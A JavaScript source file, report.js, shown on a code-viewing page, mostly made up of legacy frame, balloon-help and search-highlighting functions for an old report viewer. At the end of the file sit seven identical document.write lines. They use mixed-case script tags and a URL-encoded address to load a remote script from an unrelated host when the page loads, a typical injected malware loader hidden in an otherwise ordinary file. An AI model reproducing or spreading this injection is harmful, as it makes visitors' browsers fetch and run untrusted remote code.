📄 report.js
字号:
str += 'javascript:myVoid()" ';
str += "><IMG HREF='javascript:myVoid()' SRC=" + "'" + g_imgBlank + "'" + " BORDER=0 "
var platform = navigator.platform;
// For MSIE 5.0 on MacOS, the width and height of the image should be in points and should be exactly
// equal to the height and width of the DIV containing it, to avoid overflow.
if (platform.indexOf("Mac") != -1)
{
str += " WIDTH=" + width;
str += " HEIGHT=" + height;
}
else
{
str += " WIDTH='100%' ";
str += " HEIGHT='100%' ";
}
str += " ALT=" + '"' + balloonHelp + '"'
str += " TITLE=" + '"' + balloonHelp + '"'
str += "></IMG></A>";
if ( !parent.frames.toolbarframe.getRecycledLayer )
return;
var layerObject = parent.frames.toolbarframe.getRecycledLayer( width, window );
if ( layerExists( id + g_tagBalloon, document ) )
{
showLayer(id + g_tagBalloon, document);
}
else
{
if (!g_balloonIdList)
g_balloonIdList = eval( 'parent.frames.toolbarframe.g_balloonIdList' );
if (g_balloonIdList)
g_balloonIdList[g_balloonIdList.length] = id + g_tagBalloon;
createLayer( id + g_tagBalloon
, null
, layerObject
, left
, top
, width
, height
, str
, null
, null
, "hidden"
);
window.setTimeout("showLayer('" + id + g_tagBalloon + "'," + " document)", 500);
}
}
///////////////////////////////////////////////////////////////////////////////
function removeFromSearch( id )
{
removeFromHashList( id );
if ( g_searchFrame.updateSearchFrame )
g_searchFrame.updateSearchFrame( false, id, "", "" );
var layer = layerExists( id, document );
if( ! layer )
return;
if( layer.background.src == "" )
return;
if( ns4 )
layer.background.src = null;
else
layer.backgroundImage = "";
}
///////////////////////////////////////////////////////////////////////////////
function areaClick( id, bUpdateSearchFrame, searchValue, searchSelected,
searchDisplay, searchClassId )
{
// The default is to update the search frame
if ( bUpdateSearchFrame == null )
bUpdateSearchFrame = true;
// First check if the layer exists.
var layer = layerExists( id, document );
if ( layer == null )
return false;
// Check if the class has already been added to the search
if ( !g_bInSetupSearch )
{
var itemIndex = findItem( g_hashClassIdList, decode(searchClassId) );
if ( itemIndex != -1 )
{
removeFromSearch( id );
return false;
}
}
// Shade the clicked area
if( ns4 )
layer.background.src = g_imgHash;
else
{
layer.backgroundImage = "URL(" + g_imgHash + ")";
}
// Add the id to a list of hash areas
appendToHashList( id, searchDisplay, decode(searchClassId) );
hideOtherClassAreas( decode(searchClassId), id );
g_searchFrame = eval( 'parent.frames.searchframe' );
// Update the search frame
if ( bUpdateSearchFrame && g_searchFrame.updateSearchFrame )
{
g_searchFrame.updateSearchFrame( true, id, searchValue, searchSelected,
searchDisplay, decode(searchClassId) );
}
return false;
}
///////////////////////////////////////////////////////////////////////////////
function recreateHash( id, display, classId )
{
areaClick( id, true, "", "", display, encode(classId) );
}
///////////////////////////////////////////////////////////////////////////////
function hideOtherClassAreas( classId, keepLayerId )
{
for ( var index = 0; index < g_areaIdList.length; index++ )
{
var l_classId = g_areaClassIdList[index];
if ( l_classId == classId )
{
var id = g_areaIdList[index];
if ( layerExists( id, document ) && keepLayerId != id )
{
hideLayer( id, document );
}
}
}
}
///////////////////////////////////////////////////////////////////////////////
function hideAllHashItemsInPage()
{
if ( g_hashIdList )
{
for ( var index = 0; index < g_hashIdList.length; index++ )
{
var id = g_hashIdList[index];
hideLayer( id, document );
}
}
if( g_hashIdList ) g_hashIdList.length = 0;
if( g_hashDisplayList ) g_hashDisplayList.length = 0;
if( g_hashClassIdList ) g_hashClassIdList.length = 0;
if ( g_areaIdList)
{
for ( var index = 0; index < g_areaIdList.length; index++ )
{
var id = g_areaIdList[index];
hideLayer( id, document );
}
}
}
///////////////////////////////////////////////////////////////////////////////
function clearSearchLists()
{
// Because removeFromSearch() modifies the g_hashIdList we
// need to keep a temporary id list.
var tempIdList = new Array();
if ( g_hashIdList )
{
for ( var index = 0; index < g_hashIdList.length; index++ )
{
tempIdList[index] = g_hashIdList[index];
}
}
for ( index = 0; index < tempIdList.length; index++ )
{
removeFromSearch( tempIdList[index] );
}
if ( g_hashIdList ) g_hashIdList.length = 0;
if ( g_hashDisplayList ) g_hashDisplayList.length = 0;
if ( g_hashClassIdList ) g_hashClassIdList.length = 0;
tempIdList.length = 0;
}
///////////////////////////////////////////////////////////////////////////////
function hideSearchAreas()
{
if ( g_areaIdList )
{
for ( var index = 0; index < g_areaIdList.length; index++ )
{
var areaName = g_areaIdList[index];
if ( ns4 )
{
if ( document.layers[areaName] )
{
document.layers[areaName].visibility = 'hidden';
}
}
else
{
if ( elementLocate(document, areaName) )
{
elementLocate(document, areaName).style.visibility = 'hidden';
}
}
}
}
}
///////////////////////////////////////////////////////////////////////////////
function hideBalloons()
{
if ( g_balloonIdList )
{
for ( var index = 0; index < g_balloonIdList.length; index++ )
{
var balloonName = g_balloonIdList[index];
if ( ns4 )
{
if ( document.layers[balloonName] )
{
document.layers[balloonName].visibility = 'hidden';
}
}
else
{
if ( elementLocate(document, balloonName) )
{
elementLocate(document, balloonName).style.visibility = 'hidden';
}
}
}
}
}
///////////////////////////////////////////////////////////////////////////////
function inSearchMode()
{
if ( parent.g_searchOpen )
if ( !parent.g_searchResults && !parent.g_searchInitiated )
return true;
return false;
}
function inSearchResultsMode()
{
if ( parent.g_searchOpen )
if ( parent.g_searchResults)
return true;
return false;
}
///////////////////////////////////////////////////////////////////////////////
function setupSearch()
{
getToolbarVariables();
if ( ns4 )
{
if ( !inSearchMode() && !inSearchResultsMode() )
return;
}
else
{
if ( !inSearchMode() )
return;
}
if ( !g_hashIdList )
return;
// Recreate areas in the searchList
g_bInSetupSearch = true;
for( var index = 0; index < g_searchIdList.length; index++ )
{
var id = g_searchIdList[index];
id = stripTag( id, g_tagArea );
if ( ns4 && inSearchResultsMode() ) // hashIdList elements are undefined in this scenario.
{
createArea( id, encode(g_searchDisplayList[index]), g_searchClassIdList[index] );
}
else
{
if ( !g_hashClassIdList[index] )
{
createArea( id, encode(g_searchDisplayList[index]), g_searchClassIdList[index] );
}
else
{
createArea( id, encode(g_searchDisplayList[index]), g_hashClassIdList[index] );
}
}
recreateHash( id + g_tagArea, g_searchDisplayList[index], g_searchClassIdList[index] );
if (ns4 && inSearchResultsMode())
{
hideSearchAreas();
}
}
g_bInSetupSearch = false;
g_searchFrame = eval( 'parent.frames.searchframe' );
}
///////////////////////////////////////////////////////////////////////////////
function getToolbarVariables()
{
g_areaIdList = eval( 'parent.frames.toolbarframe.g_areaIdList' );
g_areaClassIdList = eval( 'parent.frames.toolbarframe.g_areaClassIdList' );
g_hashIdList = eval( 'parent.frames.toolbarframe.g_hashIdList' );
g_hashDisplayList = eval( 'parent.frames.toolbarframe.g_hashDisplayList' );
g_hashClassIdList = eval( 'parent.frames.toolbarframe.g_hashClassIdList' );
g_searchIdList = eval( 'parent.frames.toolbarframe.g_searchIdList' );
g_searchDisplayList = eval( 'parent.frames.toolbarframe.g_searchDisplayList' );
g_searchClassIdList = eval( 'parent.frames.toolbarframe.g_searchClassIdList' );
g_balloonIdList = eval( 'parent.frames.toolbarframe.g_balloonIdList' );
}
///////////////////////////////////////////////////////////////////////////////
function isReportFrameLoaded()
{
return parent.g_bReportFrameLoaded;
}
///////////////////////////////////////////////////////////////////////////////
function checkIfAllLoaded()
{
if (parent.g_bReportFrameLoaded
&& parent.g_bSearchFrameLoaded
&& parent.frames.searchtoolbar.searchToolbarLoaded
&& parent.g_bToolBarFrameLoaded)
{
setupSearch();
}
}
///////////////////////////////////////////////////////////////////////////////
function scrollRight()
{
var myWidth = 0;
if( typeof( window.innerWidth ) == 'number' ) {
// Non-IE browsers
myWidth = window.innerWidth;
}
else {
if( document.documentElement && document.documentElement.clientWidth ) {
//IE 6+ browsers in 'standards compliant mode'
myWidth = document.documentElement.clientWidth;
}
else {
if ( document.body && document.body.clientWidth ) {
//IE 4 compatible browsers
myWidth = document.body.clientWidth;
}
}
}
window.scrollBy(myWidth, 0);
}
///////////////////////////////////////////////////////////////////////////////
function onLoad(scrollToRight)
{
if ( scrollToRight == true )
{
if (g_browserType.name == "IE" && g_browserType.version < 5.5)
{
window.resizeBy(-1, -1);
}
scrollRight();
if (g_browserType.name == "IE" && g_browserType.version < 5.5)
{
window.resizeBy(1, 1);
}
}
onLoadInit();
}
function onLoadInit()
{
// For browsers with the onload handler problem, we make sure onLoad was
// not already called by forceLoad();
if (g_browserType.doesNotAlwaysCallOnloadHandler) {
if (parent.g_bReportFrameLoaded)
return;
}
else {
parent.g_bReportFrameLoaded = false;
}
ns4 = (document.layers) ? true:false;
initGlobals();
g_toolbarFrame = eval( 'parent.frames.toolbarframe' );
g_searchFrame = eval( 'parent.frames.searchframe' );
if( ! g_toolbarFrame ) // Not in ViewFrameset
return;
if ( parent.g_bToolBarFrameLoaded )
{
if ( g_toolbarFrame.enableToolBarButtons )
{
g_toolbarFrame.enableToolBarButtons();
}
}
else
{
if(!ns4) {
g_toolbarFrame.location.href = parent.g_toolbarFrameURL;
}
}
parent.g_bReportFrameLoaded = true;
if( ns4 && ! parent.frames.searchframe )
return;
getToolbarVariables();
if ( !ns4 )
{
g_all = "all.";
g_style = ".style";
}
checkIfAllLoaded();
if( ns4 )
{
if (parent.frames.searchframe)
if (parent.frames.searchtoolbar.searchToolbarLoaded )
parent.frames.searchtoolbar.enableSearchToolbar();
}
else
{
if (g_browserType.cannotDynamicallyAdjustFrameset)
{
if (parent.frames.searchframe)
if (parent.frames.searchtoolbar.searchToolbarLoaded )
parent.frames.searchtoolbar.enableSearchToolbar();
}
else // Search Frame is always loaded
{
if (parent.frames.searchtoolbar.searchToolbarLoaded )
parent.frames.searchtoolbar.enableSearchToolbar();
}
}
}
///////////////////////////////////////////////////////////////////////////////
function forceOnLoad()
{
if (g_browserType.doesNotAlwaysCallOnloadHandler && !parent.g_bReportFrameLoaded)
onLoad();
}
///////////////////////////////////////////////////////////////////////////////
function onUnload()
{
parent.g_bReportFrameLoaded = false;
if ( parent.frames.toolbarframe && parent.frames.toolbarframe.clearRecycledLayers )
parent.frames.toolbarframe.clearRecycledLayers( window );
}
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -